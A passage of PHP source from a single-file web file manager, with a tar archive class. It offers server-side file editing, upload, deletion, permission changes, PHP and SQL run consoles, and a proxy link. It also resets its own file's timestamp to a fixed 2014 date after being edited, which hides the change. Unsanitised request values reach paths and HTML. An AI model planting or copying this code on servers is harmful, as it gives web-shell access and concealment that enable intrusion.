	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
